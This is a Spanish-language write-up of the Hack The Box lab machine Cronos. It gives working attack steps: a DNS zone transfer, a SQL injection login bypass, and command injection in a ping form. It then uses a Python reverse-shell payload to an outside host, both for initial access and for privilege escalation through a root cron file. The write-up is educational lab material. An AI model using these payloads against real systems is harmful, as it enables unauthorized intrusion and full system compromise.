Cronos Writeup [HTB]
Written by: X4v1l0k
Cronos - 10.10.10.13
tags: HTB
Medium
Linux
Enumeración
Nmap
$ nmap -A -Pn -p- 10.10.10.13
Starting Nmap 7.80 ( https://nmap.org ) at 2020-11-05 19:25 CET
Nmap scan report for 10.10.10.13
Host is up (0.034s latency).
Not shown: 65532 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 18:b9:73:82:6f:26:c7:78:8f:1b:39:88:d8:02:ce:e8 (RSA)
| 256 1a:e6:06:a6:05:0b:bb:41:92:b0:28:bf:7f:e5:96:3b (ECDSA)
|_ 256 1a:0e:e7:ba:00:cc:02:01:04:cd:a3:a9:3f:5e:22:20 (ED25519)
53/tcp open domain ISC BIND 9.10.3-P4 (Ubuntu Linux)
| dns-nsid:
|_ bind.version: 9.10.3-P4-Ubuntu
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.10 - 4.11 (92%), Linux 3.12 (92%), Linux 3.13 (92%), Linux 3.13 or 4.2 (92%), Linux 3.16 (92%), Linux 3.16 - 4.6 (92%), Linux 3.18 (92%), Linux 3.2 - 4.9 (92%), Linux 3.8 - 3.11 (92%), Linux 4.2 (92%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 22/tcp)
HOP RTT ADDRESS
1 33.72 ms 10.10.14.1
2 33.77 ms 10.10.10.13
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 124.44 seconds
Puerto 53
- Sabiendo que tiene el puerto DNS abierto, registro la IP dentro del archivo hosts como cronos.htb y ahora, al acceder desde el navegador a http://cronos.htb nos encontramos con una web.
- Ahora, para completar la enumeración del puerto, vamos a ver si tiene más dominios asociados.
$ dig @10.10.10.13 cronos.htb axfr
; <<>> DiG 9.16.4-Debian <<>> @10.10.10.13 cronos.htb axfr
; (1 server found)
;; global options: +cmd
cronos.htb. 604800 IN SOA cronos.htb. admin.cronos.htb. 3 604800 86400 2419200 604800
cronos.htb. 604800 IN NS ns1.cronos.htb.
cronos.htb. 604800 IN A 10.10.10.13
admin.cronos.htb. 604800 IN A 10.10.10.13
ns1.cronos.htb. 604800 IN A 10.10.10.13
www.cronos.htb. 604800 IN A 10.10.10.13
cronos.htb. 604800 IN SOA cronos.htb. admin.cronos.htb. 3 604800 86400 2419200 604800
;; Query time: 36 msec
;; SERVER: 10.10.10.13#53(10.10.10.13)
;; WHEN: jue nov 05 19:30:19 CET 2020
;; XFR size: 7 records (messages 1, bytes 203)
- Vemos que también está disponible http://admin.cronos.htb por lo tanto, lo añadimos también a nuestro archivo hosts.
Puerto 80
- Dentro de la URl http://cronos.htb nos encontramos 5 enlaces a recursos externos.
- Dentro de http://admin.cronos.htb/ nos encontramos una página de login.
Explotación
- Para hacer bypass al login de http://admin.cronos.htb/ usamos:
username: admin' or '1'='1 #
password: cualquiercosa
- Ahora, nos encontramos un formulario en el que según parece podemos hacer ping y tracert a una ip.
- Si ponemos en el input
;id
podemos ver que tenemos RCE como www-data por lo que, vamos a por una shell. - Perfecto, usando el siguiente payload, obtenemos shell.
;python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.35",8787));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
Post explotación
Escala de privilegios
- Dentro del archivo config.php nos encontramos unas credenciales de la base de datos.
$ www-data@cronos:/var/www/admin$ cat config.php
<?php
define('DB_SERVER', 'localhost');
define('DB_USERNAME', 'admin');
define('DB_PASSWORD', 'kEjdbRigfBHUREiNSDs');
define('DB_DATABASE', 'admin');
$db = mysqli_connect(DB_SERVER,DB_USERNAME,DB_PASSWORD,DB_DATABASE);
?>
- Vamos a conectarnos a la base de datos y ver que sacamos.
$ www-data@cronos:/home$ mysql -u admin -p
mysql> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| admin |
+--------------------+
2 rows in set (0.00 sec)
mysql> use admin
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
mysql> show tables;
+-----------------+
| Tables_in_admin |
+-----------------+
| users |
+-----------------+
1 row in set (0.00 sec)
mysql> select * from users;
+----+----------+----------------------------------+
| id | username | password |
+----+----------+----------------------------------+
| 1 | admin | 4f5fffa7b2340178a716e3832451e058 |
+----+----------+----------------------------------+
1 row in set (0.00 sec)
- Ahora tenemos una encriptación en lo que parece ser MD5. Mientras la crackea, vamos a lanzar linpeas.
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
* * * * * root php /var/www/laravel/artisan schedule:run >> /dev/null 2>&1
- Linpeas nos reporta un cron ejecutándose como root sobre un archivo del que somos propietarios por lo que, podemos inyectar en el una shell!. Modificamos el inicio del archivo dejándolo del siguiente modo.
$ nano /var/www/laravel/artisan
#!/usr/bin/env php
<?php
system('python -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.35",8787));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);\'');
- Ahora, esperamos unos segundos con un listener corriendo y… tenemos shell como root!.